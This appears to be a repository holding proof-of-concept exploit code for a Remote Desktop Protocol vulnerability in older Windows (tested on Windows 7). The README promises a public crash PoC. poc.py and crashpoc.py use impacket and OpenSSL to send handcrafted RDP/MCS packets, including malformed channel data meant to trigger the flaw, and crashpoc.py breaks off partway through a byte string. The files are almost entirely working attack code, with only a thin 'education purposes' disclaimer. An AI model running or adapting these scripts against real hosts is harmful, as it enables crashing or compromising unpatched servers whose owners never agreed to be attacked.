├── README.md ├── poc.py └── crashpoc.py /README.md: -------------------------------------------------------------------------------- 1 | Leaving for a wedding tomorrow, if I can't find anything then someone else take the reins 2 | 3 | Going to drop the crash PoC here Friday if there isnt one public already... Maybe the following week, depending on if the vulnerable numbers drop consistently or not. 4 | 5 | https://vimeo.com/339425966 6 | 7 | I'm not responsible for what you use this to accomplish and should only be used for education purposes 8 | didn't port the socket to talk to server 2003 and win xp but should be straight forward if you wanted (Add security exchange PDU and do the math) 9 | 10 | -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | #Tested Win7 2 | 3 | import socket, sys, struct, time 4 | from OpenSSL import SSL, crypto 5 | from impacket.structure import Structure 6 | 7 | class TPKT(Structure): 8 | commonHdr = ( 9 | ('Version','B=3'), 10 | ('Reserved','B=0'), 11 | ('Length','>H=len(TPDU)+4'), 12 | ('_TPDU','_-TPDU','self["Length"]-4'), 13 | ('TPDU',':=""'), 14 | ) 15 | 16 | class TPDU(Structure): 17 | commonHdr = ( 18 | ('LengthIndicator','B=len(VariablePart)+1'), 19 | ('Code','B=0'), 20 | ('VariablePart',':=""'), 21 | ) 22 | 23 | def __init__(self, data = None): 24 | Structure.__init__(self,data) 25 | self['VariablePart']='' 26 | 27 | class CR_TPDU(Structure): 28 | commonHdr = ( 29 | ('DST-REF','h", len(buf)) 238 | size1 = struct.pack(">h", len(buf)-12) 239 | size2 = struct.pack(">h", len(buf)-109) 240 | size3 = struct.pack(">h", len(buf)-118) 241 | size4 = struct.pack(">h", len(buf)-132) 242 | size5 = struct.pack(">h", len(buf)-390) 243 | barr = bytearray() 244 | barr.extend(map(ord, buf)) 245 | barr[2] = size0[0] 246 | barr[3] = size0[1] 247 | barr[10] = size1[0] 248 | barr[11] = size1[1] 249 | barr[107] = size2[0] 250 | barr[108] = size2[1] 251 | barr[116] = 0x81 252 | barr[117] = size3[1] 253 | barr[130] = 0x81 254 | barr[131] = size4[1] 255 | barr[392] = size5[1] 256 | 257 | tls.sendall(bytes(barr)) 258 | pkt = tls.recv(8192) 259 | print("[+] Init Packet Sent") 260 | channel_packets(tls) 261 | print("[+] Channel Packets Sent") 262 | 263 | buf3 = ( 264 | "\x03\x00" # Header 265 | "\x01\x61" # Size 266 | "\x02\xf0\x80" # x224 267 | "\x64" # SendDataRequest 268 | "\x00\x07" # Initiator 269 | "\x03\xeb" # ChannelID 270 | "\x70" # DataPriority 271 | "\x81\x52" # mcsSDrq 272 | "\x40\x00" # Flags 273 | "\xa1\xa5" # Flagshigh 274 | "\x09\x04\x09\x04" # CodePage 275 | "\xbb\x47\x03\x00" # Flags 276 | "\x00\x00" # cbDomain 277 | "\x0e\x00" # cbUsername 278 | "\x08\x00" # cbPassword 279 | "\x00\x00" # cbAlternateShell 280 | "\x00\x00" # cbWorkingDir 281 | 282 | "\x00\x00" # Skip Domain 283 | "\x67\x00\x72" # Username 284 | "\x00\x31\x00\x7a" 285 | "\x00\x7a\x00\x31" 286 | "\x00\x79\x00" 287 | 288 | "\x00\x00" # Seperator 289 | "\x74\x00\x65\x00" # Password 290 | "\x73\x00\x74\x00" 291 | "\x00\x00\x00\x00\x00\x00" # Skip AlternateShell and WorkingDir 292 | # TS_EXTENDED_INFO_PACKET 293 | "\x02\x00" # clientAddressFamily 294 | "\x1c\x00" # cbClientAddress 295 | "\x31\x00\x39" # clientAddress 296 | "\x00\x32\x00\x2e" 297 | "\x00\x31\x00\x36" 298 | "\x00\x38\x00\x2e" 299 | "\x00\x32\x00\x33" 300 | "\x00\x32\x00\x2e" 301 | "\x00\x31" 302 | 303 | "\x00\x00" # Seperator 304 | 305 | "\x00\x40" # cbClientDir 306 | "\x00\x43\x00\x3a" # clientDir 307 | "\x00\x5c\x00\x57" 308 | "\x00\x49\x00\x4e" 309 | "\x00\x44\x00\x4f" 310 | "\x00\x57\x00\x53" 311 | "\x00\x5c\x00\x73" 312 | "\x00\x79\x00\x73" 313 | "\x00\x74\x00\x65" 314 | "\x00\x6d\x00\x33" 315 | "\x00\x32\x00\x5c" 316 | "\x00\x6d\x00\x73" 317 | "\x00\x74\x00\x73" 318 | "\x00\x63\x00\x61" 319 | "\x00\x78\x00\x2e" 320 | "\x00\x64\x00\x6c" 321 | "\x00\x6c\x00" 322 | 323 | "\x00" #Seperator 324 | 325 | "\x00\xa4\x01" 326 | "\x00\x00\x4d\x00\x6f\x00\x75" #TimeZone 327 | "\x00\x6e\x00\x74\x00\x61\x00" 328 | "\x69\x00\x6e\x00\x20\x00\x53" 329 | "\x00\x74\x00\x61\x00\x6e\x00" 330 | "\x64\x00\x61\x00\x72\x00\x64" 331 | "\x00\x20\x00\x54\x00\x69\x00" 332 | "\x6d\x00\x65\x00" 333 | 334 | "\x00\x00\x00\x00\x00\x00\x00" #Skipped params 335 | "\x00\x00\x00\x00\x00\x00\x00" 336 | "\x00\x00\x00\x00\x00\x00\x00" 337 | "\x00\x0b\x00\x00\x00\x01\x00" 338 | "\x02\x00\x00\x00\x00\x00\x00" 339 | "\x00\x00\x00\x00\x00" 340 | 341 | "\x4d\x00\x6f\x00\x75\x00\x6e" #Timezone 342 | "\x00\x74\x00\x61\x00\x69\x00" 343 | "\x6e\x00\x20\x00\x44\x00\x61" 344 | "\x00\x79\x00\x6c\x00\x69\x00" 345 | "\x67\x00\x68\x00\x74\x00\x20" 346 | "\x00\x54\x00\x69\x00\x6d\x00" 347 | "\x65\x00\x00\x00" 348 | 349 | "\x00\x00\x00" 350 | "\x00\x00\x00\x00\x00\x00\x00" 351 | "\x00\x00\x00\x00\x00\x00\x00" 352 | "\x00\x00\x00\x03\x00\x00\x00" 353 | "\x02\x00\x02\x00\x00\x00\x00" 354 | "\x00\x00\x00\xc4\xff\xff\xff" 355 | "\x01\x00\x00\x00\x06\x00\x00" 356 | "\x00\x00\x00\x64\x00\x00\x00" 357 | ) 358 | 359 | 360 | 361 | 362 | barr = bytearray() 363 | barr.extend(map(ord, buf3)) 364 | tls.sendall(bytes(barr)) 365 | pkt = tls.recv(8192) 366 | pkt = tls.recv(8192) 367 | pkt = tls.recv(8192) 368 | 369 | 370 | print("[+] ClientInfo Packet Sent") 371 | 372 | buf4 = ( 373 | "\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54" 374 | "\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d" 375 | "\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03" 376 | "\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00" 377 | "\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38" 378 | "\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58" 379 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 380 | "\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa" 381 | "\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00" 382 | "\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00" 383 | "\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00" 384 | "\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00" 385 | "\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00" 386 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08" 387 | "\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00" 388 | "\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a" 389 | "\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d" 390 | "\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00" 391 | "\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 392 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 393 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 394 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 395 | "\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e" 396 | "\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe" 397 | "\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe" 398 | "\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40" 399 | "\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01" 400 | "\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14" 401 | "\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02" 402 | "\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c" 403 | "\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01" 404 | "\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00" 405 | "\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f" 406 | "\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4" 407 | "\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05" 408 | "\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb" 409 | "\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02" 410 | "\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02" 411 | "\x01\x01\x04" 412 | ) 413 | barr = bytearray() 414 | barr.extend(map(ord, buf4)) 415 | tls.sendall(bytes(barr)) 416 | pkt = tls.recv(8192) 417 | 418 | buf5 = ( 419 | "\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00" 420 | "\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00" 421 | "\x01\x00\xea\x03" 422 | ) 423 | barr = bytearray() 424 | barr.extend(map(ord, buf5)) 425 | tls.sendall(bytes(barr)) 426 | pkt = tls.recv(8192) 427 | 428 | buf6 = ( 429 | "\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00" 430 | "\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00" 431 | "\x01\x00\x00\x00\x00\x00\x00\x00" 432 | ) 433 | 434 | barr = bytearray() 435 | barr.extend(map(ord, buf6)) 436 | tls.sendall(bytes(barr)) 437 | 438 | print("[+] Session established, sending channel packet") 439 | time.sleep(2) 440 | pkt = tls.recv(8192) 441 | buf7 = ( 442 | "\x03\x00\x00\x22\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00" 443 | "\x00\x00\x03\x00\x00\x00\x72\x41\x41\x41\x41\x41\x41\x41\x41\x41" 444 | "\x41\x41" 445 | ) 446 | barr = bytearray() 447 | barr.extend(map(ord, buf7)) 448 | tls.sendall(bytes(barr)) 449 | print("[+] Sent") 450 | pkt = tls.recv(8192) 451 | 452 | 453 | if __name__ == '__main__': 454 | main(sys.argv[1], sys.argv[2]) 455 | -------------------------------------------------------------------------------- /crashpoc.py: -------------------------------------------------------------------------------- 1 | import socket, sys, struct 2 | from OpenSSL import SSL 3 | from impacket.structure import Structure 4 | 5 | # I'm not responsible for what you use this to accomplish and should only be used for education purposes 6 | 7 | # Could clean these up since I don't even use them 8 | class TPKT(Structure): 9 | commonHdr = ( 10 | ('Version','B=3'), 11 | ('Reserved','B=0'), 12 | ('Length','>H=len(TPDU)+4'), 13 | ('_TPDU','_-TPDU','self["Length"]-4'), 14 | ('TPDU',':=""'), 15 | ) 16 | 17 | class TPDU(Structure): 18 | commonHdr = ( 19 | ('LengthIndicator','B=len(VariablePart)+1'), 20 | ('Code','B=0'), 21 | ('VariablePart',':=""'), 22 | ) 23 | def __init__(self, data = None): 24 | Structure.__init__(self,data) 25 | self['VariablePart']='' 26 | 27 | class CR_TPDU(Structure): 28 | commonHdr = ( 29 | ('DST-REF','h", len(p)) 78 | size1 = struct.pack(">h", len(p)-12) 79 | size2 = struct.pack(">h", len(p)-109) 80 | size3 = struct.pack(">h", len(p)-118) 81 | size4 = struct.pack(">h", len(p)-132) 82 | size5 = struct.pack(">h", len(p)-390) 83 | ba = bytearray() 84 | ba.extend(map(ord, p)) 85 | ba[2] = size0[0] 86 | ba[3] = size0[1] 87 | ba[10] = size1[0] 88 | ba[11] = size1[1] 89 | ba[107] = size2[0] 90 | ba[108] = size2[1] 91 | ba[116] = 0x81 92 | ba[117] = size3[1] 93 | ba[130] = 0x81 94 | ba[131] = size4[1] 95 | ba[392] = size5[1] 96 | tls.sendall(bytes(ba)) 97 | tls.recv(8192) 98 | 99 | def send_client_info(tls): 100 | p = b"\x03\x00\x01\x61\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x52\x40\x00\xa1\xa5\x09\x04\x09\x04\xbb\x47\x03\x00\x00\x00\x0e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x41\x41\x41\x00\x38\x00\x2e\x00\x32\x00\x33\x00\x32\x00\x2e\x00\x31\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x41\x41\x41\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00" 101 | tls.sendall(p) 102 | 103 | def send_channel_packets(tls): 104 | p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00" 105 | tls.sendall(p1) 106 | p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28" 107 | tls.sendall(p2) 108 | tls.recv(1024) 109 | p4 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xeb" 110 | tls.sendall(p4) 111 | tls.recv(1024) 112 | p5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xec" 113 | tls.sendall(p5) 114 | tls.recv(1024) 115 | p6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xed" 116 | tls.sendall(p6) 117 | tls.recv(1024) 118 | p7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xee" 119 | tls.sendall(p7) 120 | tls.recv(1024) 121 | p8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xef" 122 | tls.sendall(p8) 123 | tls.recv(1024) 124 | 125 | def send_confirm_active(tls, shareid): 126 | p = "\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04" 127 | ba = bytearray() 128 | ba.extend(map(ord, p)) 129 | tls.sendall(bytes(ba)) 130 | 131 | def send_establish_session(tls): 132 | p = b"\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00\x01\x00\xea\x03" 133 | tls.sendall(p) 134 | p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" 135 | tls.sendall(p) 136 | p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" 137 | tls.sendall(p) 138 | p = b"\x03\x00\x05\x81\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x85\x72\x72\x05\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x02\x00\x00\x00\xa3\xce\x20\x35\xdb\x94\xa5\xe6\x0d\xa3\x8c\xfb\x64\xb7\x63\xca\xe7\x9a\x84\xc1\x0d\x67\xb7\x91\x76\x71\x21\xf9\x67\x96\xc0\xa2\x77\x5a\xd8\xb2\x74\x4f\x30\x35\x2b\xe7\xb0\xd2\xfd\x81\x90\x1a\x8f\xd5\x5e\xee\x5a\x6d\xcb\xea\x2f\xa5\x2b\x06\xe9\x0b\x0b\xa6\xad\x01\x2f\x7a\x0b\x7c\xff\x89\xd3\xa3\xe1\xf8\x00\x96\xa6\x8d\x9a\x42\xfc\xab\x14\x05\x8f\x16\xde\xc8\x05\xba\xa0\xa8\xed\x30\xd8\x67\x82\xd7\x9f\x84\xc3\x38\x27\xda\x61\xe3\xa8\xc3\x65\xe6\xec\x0c\xf6\x36\x24\xb2\x0b\xa6\x17\x1f\x46\x30\x16\xc7\x73\x60\x14\xb5\xf1\x3a\x3c\x95\x7d\x7d\x2f\x74\x7e\x56\xff\x9c\xe0\x01\x32\x9d\xf2\xd9\x35\x5e\x95\x78\x2f\xd5\x15\x6c\x18\x34\x0f\x43\xd7\x2b\x97\xa9\xb4\x28\xf4\x73\x6c\x16\xdb\x43\xd7\xe5\x58\x0c\x5a\x03\xe3\x73\x58\xd7\xd9\x76\xc2\xfe\x0b\xd7\xf4\x12\x43\x1b\x70\x6d\x74\xc2\x3d\xf1\x26\x60\x58\x80\x31\x07\x0e\x85\xa3\x95\xf8\x93\x76\x99\x9f\xec\xa0\xd4\x95\x5b\x05\xfa\x4f\xdf\x77\x8a\x7c\x29\x9f\x0b\x4f\xa1\xcb\xfa\x95\x66\xba\x47\xe3\xb0\x44\xdf\x83\x03\x44\x24\xf4\x1e\xf2\xe5\xcb\xa9\x53\x04\xc2\x76\xcb\x4d\xc6\xc2\xd4\x3f\xd3\x8c\xb3\x7c\xf3\xaa\xf3\x93\xfe\x25\xbd\x32\x7d\x48\x6e\x93\x96\x68\xe5\x18\x2b\xea\x84\x25\x69\x02\xa5\x38\x65\x6f\x0f\x9f\xf6\xa1\x3a\x1d\x22\x9d\x3f\x6d\xe0\x4c\xee\x8b\x24\xf0\xdc\xff\x70\x52\xa7\x0d\xf9\x52\x8a\x1e\x33\x1a\x30\x11\x15\xd7\xf8\x95\xa9\xbb\x74\x25\x8c\xe3\xe9\x93\x07\x43\xf5\x50\x60\xf7\x96\x2e\xd3\xff\x63\xe0\xe3\x24\xf1\x10\x3d\x8e\x0f\x56\xbc\x2e\xb8\x90\x0c\xfa\x4b\x96\x68\xfe\x59\x68\x21\xd0\xff\x52\xfe\x5c\x7d\x90\xd4\x39\xbe\x47\x9d\x8e\x7a\xaf\x95\x4f\x10\xea\x7b\x7a\xd3\xca\x07\x28\x3e\x4e\x4b\x81\x0e\xf1\x5f\x1f\x8d\xbe\x06\x40\x27\x2f\x4a\x03\x80\x32\x67\x54\x2f\x93\xfd\x25\x5d\x6d\xa0\xad\x23\x45\x72\xff\xd1\xeb\x5b\x51\x75\xa7\x61\xe0\x3f\xe4\xef\xf4\x96\xcd\xa5\x13\x8a\xe6\x52\x74\x70\xbf\xc1\xf9\xfb\x68\x9e\xdd\x72\x8f\xb4\x44\x5f\x3a\xcb\x75\x2a\x20\xa6\x69\xd2\x76\xf9\x57\x46\x2b\x5b\xda\xba\x0f\x9b\xe0\x60\xe1\x8b\x90\x33\x41\x0a\x2d\xc5\x06\xfe\xd0\xf0\xfc\xde\x35\xd4\x1e\xaa\x76\x0b\xae\xf4\xd5\xbd\xfa\xf3\x55\xf5\xc1\x67\x65\x75\x1c\x1d\x5e\xe8\x3a\xfe\x54\x50\x23\x04\xae\x2e\x71\xc2\x76\x97\xe6\x39\xc6\xb2\x25\x87\x92\x63\x52\x61\xd1\x6c\x07\xc1\x1c\x00\x30\x0d\xa7\x2f\x55\xa3\x4f\x23\xb2\x39\xc7\x04\x6c\x97\x15\x7a\xd7\x24\x33\x91\x28\x06\xa6\xe7\xc3\x79\x5c\xae\x7f\x50\x54\xc2\x38\x1e\x90\x23\x1d\xd0\xff\x5a\x56\xd6\x12\x91\xd2\x96\xde\xcc\x62\xc8\xee\x9a\x44\x07\xc1\xec\xf7\xb6\xd9\x9c\xfe\x30\x1c\xdd\xb3\x3b\x93\x65\x3c\xb4\x80\xfb\xe3\x87\xf0\xee\x42\xd8\xcf\x08\x98\x4d\xe7\x6b\x99\x0a\x43\xed\x13\x72\x90\xa9\x67\xfd\x3c\x63\x36\xec\x55\xfa\xf6\x1f\x35\xe7\x28\xf3\x87\xa6\xce\x2e\x34\xaa\x0d\xb2\xfe\x17\x18\xa2\x0c\x4e\x5f\xf0\xd1\x98\x62\x4a\x2e\x0e\xb0\x8d\xb1\x7f\x32\x52\x8e\x87\xc9\x68\x7c\x0c\xef\xee\x88\xae\x74\x2a\x33\xff\x4b\x4d\xc5\xe5\x18\x38\x74\xc7\x28\x83\xf7\x72\x87\xfc\x79\xfb\x3e\xce\xd0\x51\x13\x2d\x7c\xb4\x58\xa2\xe6\x28\x67\x4f\xec\xa6\x81\x6c\xf7\x9a\x29\xa6\x3b\xca\xec\xb8\xa1\x27\x50\xb7\xef\xfc\x81\xbf\x5d\x86\x20\x94\xc0\x1a\x0c\x41\x50\xa9\x5e\x10\x4a\x82\xf1\x74\x1f\x78\x21\xf5\x70\x61\x24\x00\x3d\x47\x5f\xf3\x25\x80\x3c\x4b\xea\xa3\xf4\x77\xea\xa1\x42\x1a\x17\x0f\x6d\xa8\x35\x9e\x91\x26\x34\x43\x04\xc6\xc6\x5b\x21\x7d\x8c\xc7\x22\x91\x7b\x2c\x2d\x2f\xd6\x7e\xa5\x52\xa8\x08\x80\xeb\x60\xd1\x44\x09\x8e\x3c\xa1\xaa\x67\x60\x0a\x26\xc6\xb5\xc6\x79\xa6\x4f\x8b\x8c\x25\x5c\xf1\x0b\x23\xf4\xd8\xa6\x6d\xf1\x91\x78\xf9\xe5\x2a\x50\x2f\x5a\x44\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x77\x5a\xd8\xb2\x74\x4f\x30\x35\xbf\x28\xae\xd9\xa2\x98\xa5\xbc\x60\xca\xb8\x90\x4d\x20\x46\xd9\x8a\x1a\x30\x01\x8b\x38\x63\x1a\x57\x09\x51\x46\x95\x9b\xd8\x80\x0c\xb0\x77\x24\xbf\x2b\xd3\x57\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x56\x92\x38\xed\x6b\x9b\x5b\x1f\xba\x53\xa1\x0e\xf7\x75\x10\x53\x22\x4c\x0a\x75\x88\x54\x69\x3f\x3b\xf3\x18\x67\x6b\x0f\x19\xd1\x00\x25\x86\xcd\xa8\xd9\xdd\x1d\x8d\x26\x87\x54\xd9\x79\xc0\x74\x65\x90\xd7\x33\x32\xaf\xba\x9d\x5a\xd5\x6c\x7c\xa1\x47\xe1\x49\x6e\x1c\xce\x9f\x62\xaa\x26\x16\x3f\x3c\xec\x5b\x49\xe5\xc0\x60\xd4\xbe\xa7\x88\xbc\xa1\x9f\x29\x71\x8c\xeb\x69\xf8\x73\xfb\xaf\x29\xaa\x40\x1b\xe5\x92\xd2\x77\xa7\x2b\xfb\xb6\x77\xb7\x31\xfb\xdc\